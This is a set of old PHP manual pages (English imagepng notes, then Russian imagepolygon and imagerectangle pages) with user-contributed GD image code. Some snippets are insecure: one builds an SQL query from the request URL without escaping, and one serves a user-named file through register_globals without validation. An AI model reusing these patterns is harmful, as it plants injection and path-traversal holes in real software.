If you're generating an image dynamically based on post data and don't want to save it to the server, sending it to be displayed can cause problems as when the person tries to save it, the browser will request it again from the server (causing any post data to be lost and probably a corrupted png).

The easiest way to get around this is to force it to download using the content disposition header, for example:

<?php
header('Content-Disposition: Attachment;filename=image.png');
header('Content-type: image/png');
?>
anonymous 01-Sep-2010 12:51
If you need to call imagepng() multiple times (for example, when you want to send it to the browser, but also to a disk cache), write your image to a file first, THEN call readfile() on it.

PHP internally works with a temporary file when sending the image to the browser, so you'll gain nothing by calling imagepng() twice.
wietse89 at gmail dot com 29-Mar-2010 06:55
When you allow multiple output formats, (jpg/png) but want to use the 1-100 quality scale (like jpg), you will have to format the number:

<?php
$pngQuality = ($quality - 100) / 11.111111;
$pngQuality = round(abs($pngQuality));
imagepng($resource, $path, $pngQuality);
?>
r.lomas at infonie.fr 19-Feb-2010 07:53
I just lost about 4 hours on a really stupid problem. My images on the local server were somehow broken and therefore did not display in the browsers. After much looking around and testing, including re-installing apache on my computer a couple of times, I traced the problem to an included file.
No the problem was not a whitespace, but the UTF BOM encoding character at the begining of one of my inluded files...
So beware of your included files!
Make sure they are not encoded in UTF or otherwise in UTF without BOM.
Hope it save someone's time.
thalis kalfigopoulos 08-May-2009 04:17
I ran across the following WRT sessions and image creation.

In main.php:
<?php
  (...session in progress...)
  $_SESSION['text']='some text...';
  $imgSrc='http://foo.com/createImage.php?sid='.session_id();
  echo('<img src="'.$imgSrc.'"/>');
  unset($_SESSION['text']);
...
?>

In createImage.php:
<?php
  header('image/png');
  session_id($_REQUEST['sid']);
  session_start();
  $img=imagecreatetruecolor(200, 30);
  $text_color=imagecolorallocate($img, 200, 200, 200);
  imagestring($img, 5, 5, 5,  $_SESSION['text'], $text_color);
  imagepng($img);
  imagedestroy($img);
?>

Problem: main.php execution ends before createImage.php writing the text to image, thus the unset($_SESSION['text']) destroys the text and you end up with empty image.
Solution: move call to unset() as last statement of createImage.php
matt at mattbostock dot com 16-Mar-2009 12:11
To change the background of a 24-bit PNG for graceful degradation in IE6, the PNG file needs a bKGD chunk:

<?php
    // insert a BKGD chunk into the PNG file for graceful image degradation in IE6
    $bgColor = array(250, 250, 250);
    $pngData = bin2hex(file_get_contents($filename));

    $idatMarker = '200049444154';
    $bkgdMarker = '624b4744';

    $bkgdChunk = '0006' . $bkgdMarker;
    foreach ($bgColor as $bit)
    {
        $bkgdChunkData .= '00' . dechex($bit);
    }
    $bkgdChunk .= $bkgdChunkData;
    $bkgdChunk .= dechex(crc32(pack('H*', $bkgdMarker . $bkgdChunkData))) . '0000';

    $parsed = explode($idatMarker, $pngData, 2); // split file by first 'IDAT' chunk
    $pngData = pack('H*', $parsed[0] . $bkgdChunk . $idatMarker . $parsed[1]);
    file_put_contents($cachedFilename, $pngData);
?>
eetu11 at suomi24 dot fi 01-Nov-2008 07:20
<?php

    // aid of the highlighted Alliance
    $marked_aid = 2403;

    // Preferences
    $mysqlhost = 'localhost';
    $mysqluser = 'user';
    $mysqlpass = 'password';
    $mysqldb = 'database';

    // Create database connection and select database
    $db = @mysql_connect($mysqlhost, $mysqluser, $mysqlpass) OR die('Can not connect to DB-Server!');
    $db_select = @mysql_select_db($mysqldb) OR die('Can not select DB!');

    // Create image: Map goes from -400 to 400
    // -> sums up tp 2*400+1 (+1 due to the 0 in the center)
    $image = imagecreate(801, 801);

    // Choose the colors of background, normal village and highlighted alliance
    $color_background = imagecolorallocate($image, 255, 255, 255);
    $color_normal = imagecolorallocate($image, 200, 200, 200);
    $color_marked = imagecolorallocate($image, 255, 0, 0);

    // Fill images background with chosen color
    imagefill($image, 0, 0, $color_background);

    // Select ALL villages from the DB and order by ascending ID
    // (Fields are numbered from top left to bottom right)
    $query = 'SELECT x, y, aid FROM x_world ORDER BY id ASC';
    $result = @mysql_query($query) OR die('Can not select villages from table x_world!');

    // Check whether there any villages at all
    if (mysql_num_rows($result)) {

        // Select first village
        $row = @mysql_fetch_assoc($result);

        // These variables save the location on which we are currently drawing
        $x_pointer = 0;
        $y_pointer = 0;

        // Outer loop for the Y-coordinates
        for($y=400; $y >= -400; $y--) {

            // Inner loop for the X-coordinates
            for ($x=-400; $x <= 400; $x++) {

                // Once we reached the coordinates matching the current record selected from the DB:
                if ($row['x'] == $x AND $row['y'] == $y) {

                    // Selecting the village color depending on the aid
                    if ($row['aid'] == $marked_aid) {
                        $color = $color_marked;
                    } else {
                        $color = $color_normal;
                    }

                    // Drawing the village with the selected color
                    imagefilledrectangle($image, $x_pointer, $y_pointer, ($x_pointer + 1), ($y_pointer + 1), $color);

                    // Select next record
                    $row = @mysql_fetch_assoc($result);
                }

                // Increase pointer for X-coordinate
                $x_pointer++;
            }

            // Increase pointer for Y-coordinate
            $y_pointer++;

            // We reached the end of a line and have to set the X-pointer to 0 again
            $x_pointer = 0;
        }
    }

    // Select the HTTP-Header for the selected filetype
    header("Content-Type: image/png");

    // Generate image and print it
    imagepng($image);

?>
luxian.m [at] gmail [dot] com 16-Sep-2008 01:46
If you want to open a png image with alpha blending, you need to do something like this:

<?php
$file = 'semitransparent.png'; // path to png image
$img = imagecreatefrompng($file); // open image
imagealphablending($img, true); // setting alpha blending on
imagesavealpha($img, true); // save alphablending setting (important)
?>

I spent almost a day to find out why alpha blending doesn't work. I hope this is usefull to others too :)
vicrry at yahoo dot com 18-Apr-2008 04:16
@ phpman at texmedia dot de:

The compression range in PNG is in range 0-9, i think if you specified a compression level higher than 9, it'll be completely "compressed", or suppressed in the other words.

The compression level is originally for JPEG, which is in range 0 - 100, I think it'll work fine if you divide it by ten before passing to imagepng(). ;)
Jeff Sauro 13-Nov-2007 03:39
My webserver, running 5.14 didn't like the header that was generated using imagepng(). It works find on my local test server and on 4.x from another host.

The generated image displays in the browser (IE, firefox) but when saved to a file or inserted into an RTF file, the image was corrupted. As a test, when attempting to right-click to save as, the image format was not recognized.

The only work-around appears to be adding the additional paramaters.

So instead of just
imagepng($image); //DIDNT WORK--CORUPT IMAGE

This worked
imagepng($image,NULL,0,NULL);

and saving to disk, this worked:
imagepng($image,$file_location,0,NULL);

Jeff
phpman at texmedia dot de 27-Oct-2007 02:06
When changeing the PHP version from 4 to 5 I found out, that PHP5 handles imagepng() more restrictive than in PHP4. I'd used

imagepng($image,'',90);

to reduce the image quality whithout saving the image as a file. The quality parameter is not supported at all, I used imagejpg before and simply changed the function to imagepng whithout taking care of the existing parameters. It did not matter and there was no error in PHP4. But in PHP5, the image will not be shown anymore. So you have to remove it to have the standard:

imagepng($image);
alex at gateway-productions dot com 08-Jan-2007 03:17
barts code below does not work at least with gd 2

Only returns a blank image with alpha not the source resized

        $im = ImageCreateFromPNG($sourcefile);
        $im_dest = imagecreatetruecolor ($forcedwidth, $forcedheight);
        imagealphablending($im_dest, false);
        imagecopyresampled($im_dest, $im, 0, 0, 0, 0, $wm_width, $wm_height, $forcedwidth, $forcedheight);
        imagesavealpha($im_dest, true);
        imagepng($im_dest, $destfile);
        imagedestroy($img_dest);

ps you also forgot image destroy and you had a random var in imagepng undefined in your post
bart at resolume dot com 06-Apr-2006 08:54
If you want to resize a png-24 image and preserve the alpha channel you need to set imagealphablending($im_dest, false) on the destination image just after creating it with imagecreatetruecolor() and do a imagesavealpha($im_dest, true) on it before saving it:

<?php

$im = ImageCreateFromPNG('redfade.png');

$im_dest = imagecreatetruecolor (500, 300);
imagealphablending($im_dest, false);

imagecopyresampled($im_dest, $im, 0, 0, 0, 0, 300, 300, 500, 300);

imagesavealpha($im_dest, true);
imagepng($im_re, 'small_redfade.png');

?>
adrenalin at NOSPAM dot myrealbox dot com 27-Dec-2005 07:22
Trying to resize a png 256 colors image and save it in 256 colors with a correct color palette ? (if you'll save a 256 color image in truecolor palette the result image will have a big size).
I spent some hours trying various function to get a good quality 256 color png image, but because of color palette the result image quality was awful.
But thank to the comment of zmorris at zsculpt dot com from imagetruecolortopalette function page, i figured out how to get a properly image!

<?php
function resize_png($src,$dst,$dstw,$dsth) {
    list($width, $height, $type, $attr) = getimagesize($src);
    $im = imagecreatefrompng($src);
    $tim = imagecreatetruecolor($dstw,$dsth);
    imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);
    $tim = ImageTrueColorToPalette2($tim,false,255);
    imagepng($tim,$dst);
}
//zmorris at zsculpt dot com function, a bit completed
function ImageTrueColorToPalette2($image, $dither, $ncolors) {
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy($colors_handle);
    return $image;
}
?>

Good luck,
Namolovan Nicolae, Moldova
awalton at gmail dot com 24-Dec-2005 01:17
PNG images (as any image) can be stored in a MySQL blob field, but if you want to do this, you'll want to serialize the image stream into a better form. I would recommend base64_encode() and base64_decode(). (Just fopen() the file, fread() the contents in, base64_encode() the string, and fire off your SQL query (use addslashes()/stripslashes() to be more secure)).

This has been posted an innumerable amount of times throughout the site, but it's still terrible that a lot of users simply don't understand this and use it to its full potential.

I would also recommend that if you are doing images this way, to keep an image cache folder somewhere that PHP can access (possibly even somewhere off your webroot?). That way if your website is swamped with traffic it won't kill the SQL server.
vladson at pc-labs dot info 04-Jul-2005 08:00
To send 'Content-Length' header (like in static pictures case) i use "Output handler" like this...
<?php
//    Output handler
function output_handler($img) {
    header('Content-type: image/png');
    header('Content-Length: ' . strlen($img));
    return $img;
}

//    Image output
ob_start("output_handler");
imagepng($im);
ob_end_flush();
?>
neburk0rk at gmail dot com 20-May-2005 11:50
This is my way to store PNG-images in a MySQL database... You cannot directly store the PNG-image in a variable, and then parse it in the database, cos if you try to define it to a variable, it'll still just output it...
In my method i use three functions
 to "capture" the output and store it in a variable; ob_start (to start the output buffering),    ob_get_contents  (to capture the output),    and  ob_end_clean (to erase the cache, and end the output buffering)

<?php
$imagefile = "changethistogourimage.gif";

$image = imagecreatefromgif($imagefile);
ob_start();
imagepng($image);
$imagevariable = ob_get_contents();
ob_end_clean();

/*
HERE YOU CAN MESS WITH THE $imagevariable AS YOU LIKE
*/
?>
php at no dot spam dot prosa dot net 04-May-2005 07:40
You could use the function imagecreatefrompng

(I assume that you already know how to get the text from the url.)

The only thing left to do is put that text on the image using the correct colors for you.

<?php

$im = @imagecreatefrompng($imgname);

$text_color = imagecolorallocate ($im, $Red,$Green,$Blue);

imagestring ($im, 3,  5, 15,  $SomeTextFromURL, $text_color);

?>

Regards,
Peter Berkhout.
dws at mrao dot cam dot ac dot uk 22-Jan-2005 02:03
Presumably it returns true on success and false on failure, although the documentation doesn't actually say so.
pm at dontspamme dot pietmarcus dot com 23-Aug-2004 01:43
in reply to: cbrasho at yahoo dot com

if you use Apache as a webserver, you could do the following:

You could set up a 'img' directory in your webspace.
In that directory there will be two files: a .htaccess file and a img.php file
the .htaccess file contains the following code:
ErrorDocument 404 /img/img.php

the img.php file looks something like this:

<?php
  $file = $_SERVER['REDIRECT_URL'];

  $result = mysql_query('select img_blob from images where filename=\\'' . $file . '\\');
  list($blob) = mysql_fetch_row($result);

  header('HTTP/1.0 200 Ok');
  header("Content-type: image/jpeg");

  print $blob; # or whatever works, I don't use this
?>

if you use a url for your image like http://test.com/img/image1.jpeg, which doesn't exist, normally you would get a 404-page. in this case, the 404 is being handled by img.php, which brings up the required image...
cbrasho at yahoo dot com 17-Aug-2004 07:49
Having your pictures stored in a database sounds great but brings you a lot of trouble.
Storing images in a DB you will have a script show.php that will appear in <img> tags: <img src='show.php?img_id=$some_id'>
But if you want to have REGISTER GLOBALS = OFF, you are in trouble and there is no way (at leas as far as i know) to solve the problem but to put te img from the DB in a file and put the coresponding file name in the <img> tag. But this brings another problem: simultaneous accesses to the page. So you will have to find a way to give unique names to the picture files for each simultaneous access to the page. The solution might be using sessions. This is how you end up having a very compleh PHP script for a very simple problem. So, the basic ideea is " do not store your pictures in a blob unless you know exactly what you are doing".
mail at stefanbechtold dot de 16-Apr-2003 06:14
to all the ones, who like having their users fill their profil with an image without destroying a fixed design the following should be a great way to handle this problem.

this file opens a picture from $imagepath and returns it as a valid picture to embed in: <img src="file.php?image=123.jpg[?maxX=200&maxY=150]"> (in [] = optional)

but this file does more than this. it also adds black borders to files that are smaller than the max. size, so adding borders to the left and right where a image is too high :-)

if there is a need for a copyright note this script will also help you. you can put in a various text to $copyright. the text length should be in relationship to $maxX and $maxY.

Well there are other features of the script, just try'em out and have fun with it :-)

bye

<?php

# standard height & weight if not given
if(!isset($maxX)) $maxX = 100;
if(!isset($maxY)) $maxY = 75;

# colour- & textvalues
$picBG = "0,0,0"; # RGB-value !
$picFG = "104,104,104"; # RGB-value !
$copyright = "stefan bechtold";
$font = 1;

# minimal & maximum zoom
$minZoom = 1; # per cent related on orginal (!=0)
$maxZoom = 200; # per cent related on orginal (!=0)

# paths
$imgpath = "userimages/"; # ending with "/" !
$nopicurl = "../images/nopic.jpg"; # starting in $imagepath!!!
$nofileurl = "../images/nofile.jpg"; # starting in $imagepath!!!

if(!isset($image) || empty($image))
    $imageurl = $imgpath . $nopicurl;
elseif(! file_exists($imgpath . trim($image)))
    $imageurl = $imgpath . $nofileurl;
else
    $imageurl = $imgpath . trim($image);

# reading image
$image = getImageSize($imageurl, $info); # $info, only to handle problems with earlier php versions...
switch($image[2]) {
      case 1:
       # GIF image
        $timg = imageCreateFromGIF($imageurl);
        break;
    case 2:
       # JPEG image
        $timg = imageCreateFromJPEG($imageurl);
        break;
    case 3:
       # PNG image
        $timg = imageCreateFromPNG($imageurl);
        break;
}

# reading image sizes
$imgX = $image[0];
$imgY = $image[1];

# calculation zoom factor
$_X = $imgX/$maxX * 100;
$_Y = $imgY/$maxY * 100;

# selecting correct zoom factor, so that the image always keeps in the given format
# no matter if it is more higher than wider or the other way around
if((100-$_X) < (100-$_Y)) $_K = $_X;
else $_K = $_Y;

# zoom check to the original
if($_K > 10000/$minZoom) $_K = 10000/$minZoom;
if($_K < 10000/$maxZoom) $_K = 10000/$maxZoom;

# calculate new image sizes
$newX = $imgX/$_K * 100;
$newY = $imgY/$_K * 100;

# set start positoin of the image
# always centered
$posX = ($maxX-$newX) / 2;
$posY = ($maxY-$newY) / 2;

# creating new image with given sizes
$imgh = imageCreateTrueColor($maxX, $maxY);

# setting colours
$cols = explode(",", $picBG);
$bgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));
$cols = explode(",", $picFG);
$fgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));

# fill background
imageFill($imgh, 0, 0, $bgcol);

# create small copy of the image
imageCopyResampled($imgh, $timg, $posX, $posY, 0, 0, $newX, $newY, $image[0], $image[1]);

# writing copyright note
imageStringUp($imgh, $font, $maxX-9, $maxY-3, $copyright, $fgcol);

# output
switch($image[2]) {
      case 1:
    # GIF image
        header("Content-type: image/gif");
        imageGIF($imgh);
    case 2:
    # JPEG image
        header("Content-type: image/jpeg");
        imageJPEG($imgh);
    case 3:
    # PNG image
        header("Content-type: image/png");
        imagePNG($imgh);
}

# cleaning cache
imageDestroy($timg);
imageDestroy($imgh);

?>
23-Jan-2003 10:20
"Tip: As with anything that outputs its result directly to the browser, you can use the output-control functions (http://www.php.net/manual/en/ref.outcontrol.php) to capture the output of this function, and save it in a string (for example)."

ob_start();
imagepng($image);
$image_data = ob_get_contents();
ob_end_clean();

And now you can save $image_data to a database, for example, instead of first writing it to file and then reading the data from it. Just don't forget to use mysql_escape_string...
johnbeech at mkv25.net 20-Jan-2003 04:41
PNG files are already compressed. They use a lossless compression algorithm. If you are using HighColour images, the compression only does so much. For low colour images (16 or 256) the compression is much better.

It is pointless trying to compress the images further before sending to a browser.
bgd1977 at hotmail dot com 26-Jul-2002 06:37
I have experienced segfaults and bus errors with the following configuration: FreeBSD4.4, Apache 1.3.26, PHP 4.2.2, GD-1.8.4, PDFlib 4.0.1. The apache process crashed when calling the imagepng function, but it didn't crash when calling the imagejpg function, or imagecreatefrompng...

 Some wasted hours (lots) later, in which I have tried to recompile gd, libpng, php, libjpeg, what-not, I have found the following advices:
http://bugs.php.net/bug.php?id=16841

 So the problem was not with the png library, but rather with the PDFlib. Even though all the threads led to a png-problem... so I have simply upgraded to PDFlib 4.0.3 (w/o any special configure arguments; --with-libpng didn't work anyways), recompiled PHP, and now everything works (imagepng, pdf creation, etc.).

 Hope this helps,
 bogdan
ruelle at xtof dot com 17-Feb-2002 06:34
Better than a chmod 777 to any '/dir/pic.png' you should :
- test if dir is writable (is_writable func.)
- use chmod 700 (more secure because let only the webserver ID have access)

In any case you should program a (crontab) script to change the owner ID of any images created.


Рисование многоугольника

  • « imagepng
  • imagerectangle »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование многоугольника

imagepolygon

(PHP 4, PHP 5, PHP 7, PHP 8)

imagepolygon — Рисование многоугольника

Описание

Сигнатура, начиная с PHP 8.0.0 (не поддерживается с именованными аргументами)

imagepolygon(GdImage $image, array $points, int $color): bool

Альтернативный синтаксис (объявлен устаревшим с PHP 8.1.0)

imagepolygon(
GdImage $image,
array $points,
int $num_points,
int $color
): bool

imagepolygon() создаёт многоугольник в изображении image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

points

Массив вершин многоугольника:

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

Общее число точек (вершин), должно быть не меньше 3.

Если этот параметр опущен (смотрите альтернативный синтаксис), то массив points должен содержать чётное количество элементов и num_points будет вычислено как count($points)/2.
color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр num_points объявлен устаревшим.
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagepolygon()

<?php
// Создание пустого изображения
$image = imagecreatetruecolor(400, 300);

// Создание цвета полигона
$col_poly = imagecolorallocate($image, 255, 255, 255);

// Рисование многоугольника
imagepolygon($image, array(
0, 0,
100, 200,
300, 200
),
3,
$col_poly);

// Вывод картинки в броузер
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagepolygon()

Смотрите также

  • imagefilledpolygon() - Рисование закрашенного многоугольника
  • imageopenpolygon() - Рисует открытый полигон
  • imagecreate() - Создание нового палитрового изображения
  • imagecreatetruecolor() - Создание нового полноцветного изображения

User Contributed Notes

licson0729 at gmail dot com 23-May-2012 11:21
Here's a function to draw a n-sided star:

<?php
function drawStar($img,$x,$y,$radius,$sides,$color,$spikness=0.5)
{
    $point =array();
    $t = 0;
    for($a = 0;$a <= 360;$a += 360/($sides*2))
    {
        $t++;
        if($t % 2 == 0)
        {
            $point[] = $x + ($radius * $spikness) * cos(deg2rad($a));
            $point[] = $y + ($radius * $spikness) * sin(deg2rad($a));
        }else{
            $point[] = $x + $radius * cos(deg2rad($a));
            $point[] = $y + $radius * sin(deg2rad($a));
        }
    }
    return imagepolygon($img,$point,$sides*2,$color);
}
?>
licson0729 at gmail dot com 21-May-2012 10:39
Function to draw a n-sided regular polygon

<?php
$img = imagecreatetruecolor(1360,768);

function regularPolygon($img,$x,$y,$radius,$sides,$color)
{
    $points = array();
    for($a = 0;$a <= 360; $a += 360/$sides)
    {
        $points[] = $x + $radius * cos(deg2rad($a));
        $points[] = $y + $radius * sin(deg2rad($a));
    }
    return imagepolygon($img,$points,$sides,$color);
}

regularPolygon($img,1360/2,768/2,300,8,0xffffff);//Test draw

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
tatlar at yahoo dot com 11-Sep-2006 04:48
Function to get 5-sided polygon (pentagon) or star (pentagram) co-ords.
<?php
function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    $point = array() ; // new array
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // degree of spikiness, default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
?>
jsnell at networkninja dot com 17-Feb-2001 07:07
Here are some handy routines for rotation and translation of polygons.  Scaling could be added easily as well.

<?php
function translate_point(&$x,&$y,$angle,$about_x,$about_y,$shift_x,$shift_y)
{
    $x -= $about_x;
    $y -= $about_y;
    $angle = ($angle / 180) * M_PI;
/* math:
[x2,y2] = [x,  *  [[cos(a),-sin(a)],
           y]      [sin(a),cos(a)]]
==>
x = x * cos(a) + y*sin(a)
y = x*-sin(a) + y*cos(a)
*/

    $new_x = $x * cos($angle) - $y * sin($angle);
    $new_y = $x * sin($angle) + $y * cos($angle);
    $x = $new_x+ $about_x + $shift_x ;
    $y = $new_y + $about_y + $shift_y;
}

function translate_poly($point_array, $angle, $about_x, $about_y,$shift_x,$shift_y)
{
    $translated_poly = Array();
    while(count($point_array) > 1)
    {
        $temp_x = array_shift($point_array);
        $temp_y = array_shift($point_array);
        translate_point($temp_x, $temp_y, $angle, $about_x, $about_y,$shift_x, $shift_y);
        array_push($translated_poly, $temp_x);
        array_push($translated_poly, $temp_y);
    }
    return $translated_poly;
}
?>


Рисование прямоугольника

  • « imagepolygon
  • imageresolution »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование прямоугольника

imagerectangle

(PHP 4, PHP 5, PHP 7, PHP 8)

imagerectangle — Рисование прямоугольника

Описание

imagerectangle(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

imagerectangle() рисует прямоугольник с заданными координатами углов.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x1

Верхняя левая x координата.

y1

Верхняя левая y координата 0, 0 - левый верхний угол изображения.

x2

Нижняя правая x координата.

y2

Нижняя правая y координата.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagerectangle()

<?php
// Создание изображения 200 x 200
$canvas = imagecreatetruecolor(200, 200);

// Создание цветов
$pink = imagecolorallocate($canvas, 255, 105, 180);
$white = imagecolorallocate($canvas, 255, 255, 255);
$green = imagecolorallocate($canvas, 132, 135, 28);

// Рисование разноцветных прямоугольников
imagerectangle($canvas, 50, 50, 150, 150, $pink);
imagerectangle($canvas, 45, 60, 120, 100, $white);
imagerectangle($canvas, 100, 120, 75, 160, $green);

// Вывод и освобождение памяти
header('Content-Type: image/jpeg');

imagejpeg($canvas);
imagedestroy($canvas);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagerectangle()

User Contributed Notes

stanislav dot eckert at vizson dot de 10-Jun-2015 09:15
Please pay attention if you want to draw pixel perfect rectangles: Since this function uses absolute values for the second coordinate points (instead of width and height), you might face a logical problem. PHP counts from 0. But a pixel at position 0,0 occupies already a 1x1 space. In the example above you have the following line:

imagerectangle($canvas, 50, 50, 150, 150, $pink);

If you don't pay attention, you might thing that the difference between the two coordinates is exactly 100 and assume that the drawn rectangle would have the dimension of 100 x 100 pixels too. But it would be 101 x 101, because PHP counts from 0 and imagerectangle() uses absolute coordinates for the second point too. A smaller example: A rectangle with coordinates 0,0 and 5,5 means 0,1,2,3,4,5 which are 6 pixels, not 5.
rogier 27-Jun-2007 05:27
In addition to Corey's note, this is the kind of code he means. Note that I always draw an outer grid border, so drawing lines will always take
1 + ceil((rows+cols)/2) actions. For a 20X20 grid, this means 21 actions, a 10X25 grid takes 19 Actions

<?php

function draw_grid(&$img, $x0, $y0, $width, $height, $cols, $rows, $color) {
    //draw outer border
    imagerectangle($img, $x0, $y0, $x0+$width*$cols, $y0+$height*$rows, $color);
    //first draw horizontal
    $x1 = $x0;
    $x2 = $x0 + $cols*$width;
    for ($n=0; $n<ceil($rows/2); $n++) {
        $y1 = $y0 + 2*$n*$height;
        $y2 = $y0 + (2*$n+1)*$height;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
    //then draw vertical
    $y1 = $y0;
    $y2 = $y0 + $rows*$height;
    for ($n=0; $n<ceil($cols/2); $n++) {
        $x1 = $x0 + 2*$n*$width;
        $x2 = $x0 + (2*$n+1)*$width;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
}

//example
$img = imagecreatetruecolor(300, 200);
$red   = imagecolorallocate($img, 255,   0,   0);
draw_grid($img, 0,0,15,20,20,10,$red);
header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
have fun ;)
Corey 13-Feb-2007 03:09
Matt,

I agree that drawing 100 boxes for a 10x10 square is ludicrous. However, if we're going to talk about the best way to draw it in GD, you're still off.

Since a rectangle will draw two vertical lines in one draw, we should use it to our advantage. You can draw 5 rectangles that have the tops and bottoms outside of the image, and there you have your ten rows. Draw 5 more who's sides are out of the image and you have your columns. We just drew a 10x10 (you could do 11x11) grid in 10 draw operations.

:)
administrador(ensaimada)sphoera(punt)com 04-May-2006 07:28
<?php
// With this function you will draw rounded corners rectangles with transparent colors.
// Empty (not filled) figures are allowed too!!

function draw_roundrectangle($img, $x1, $y1, $x2, $y2, $radius, $color,$filled=1) {
    if ($filled==1){
        imagefilledrectangle($img, $x1+$radius, $y1, $x2-$radius, $y2, $color);
        imagefilledrectangle($img, $x1, $y1+$radius, $x1+$radius-1, $y2-$radius, $color);
        imagefilledrectangle($img, $x2-$radius+1, $y1+$radius, $x2, $y2-$radius, $color);

        imagefilledarc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color, IMG_ARC_PIE);
    }else{
        imageline($img, $x1+$radius, $y1, $x2-$radius, $y1, $color);
        imageline($img, $x1+$radius, $y2, $x2-$radius, $y2, $color);
        imageline($img, $x1, $y1+$radius, $x1, $y2-$radius, $color);
        imageline($img, $x2, $y1+$radius, $x2, $y2-$radius, $color);

        imagearc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color);
        imagearc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color);
        imagearc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color);
        imagearc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color);
    }
}

?>
More functions at http://www.sphoera.com
carl at pappenheim dot net 20-Feb-2006 03:02
Oh I don't know.  He was on the right track..

<?php

$rows = 5;
$cols = 11;
$eachx = 12;
$eachy = 18;

$max = array($cols*$eachx, $rows*$eachy);
$im = imagecreatetruecolor($max[0]+1,$max[1]+1);
$white = imagecolorallocate($im,255,255,255);
imagefill($im,0,0,$white);

$black = imagecolorallocate($im,50,50,50);

for($x=$max[0]/2;$x>=0;$x-=$eachx) {
    imagerectangle($im, ($max[0]/2)+$x,0, ($max[0]/2)-$x,$max[1], $black);
}
for($y=$max[1]/2;$y>=0;$y-=$eachy) {
    imagerectangle($im, 0,($max[1]/2)+$y, $max[0],($max[1]/2)-$y, $black);
}

header("Content-type: image/jpeg");
imagejpeg($im,'',80);
imagedestroy($im);
?>
matt at bargolf dot net 30-Jan-2006 02:25
